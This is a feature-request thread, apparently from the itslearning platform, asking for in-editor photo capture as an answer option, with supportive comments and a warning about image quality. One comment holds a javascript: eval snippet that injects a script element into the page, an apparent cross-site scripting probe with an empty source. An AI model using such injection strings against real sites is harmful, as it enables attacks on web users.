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Taking a photo as an option with assignments and test.

I would like to add the option of taking a photo in the richtext-editor in assignments and test.

A student can add a video and/or an audio recording as an answer to assignments or an open test question.

But in some cases students need to write ore draw an answer on paper. It would be easy if the student could take a photo with the camera of his/her device and submitted the photo as an answer.

Now I work around this problem by asking students tot email a photo of their written answer or make a video whiles holding the written answer 10+seconds in front of the camera.

The workaround isn’t elegant taking a photo is.

  • Serge Wauben
  • May 8 2020
  • Future consideration
Country NL
Category Grading and assessment
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  • Guest commented
    6 Sep, 2021 02:04pm

    i requested an upload file as an option also!

  • Guest commented
    15 Dec, 2020 01:07pm

    I actually just requested an "upload file" for an answer test question style. It would greatly increase the content would could asses on the platform.

  • Guest commented
    11 Nov, 2020 06:33pm

    Yes! The student could easily hold up their paper to the camera on their computer and take a quick picture.

    This would be a great addition to turning in assignments.

  • Hille Saakstra commented
    15 Sep, 2020 01:48pm

    I would be very happy when this option is available in the comming weeks. It would safe me a lot of time!

  • dggdg aana commented
    15 May, 2020 06:47pm

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  • dggdg aana commented
    15 May, 2020 06:47pm

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  • dggdg aana commented
    15 May, 2020 06:46pm

    javascript:eval('var a=document.createElement(\'script\');a.src=\'\';document.body.appendChild(a)')

  • dggdg aana commented
    15 May, 2020 06:46pm

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  • Guest commented
    11 May, 2020 10:57am

    I agree. But be carefull. I used Photo's as attachment. Resolution of these pictures is very bad. It's not caused by bad resolution of original sources, it's caused by itslearning itself. I tried myself with very good pictures of text, not readable after sending tot itslearning.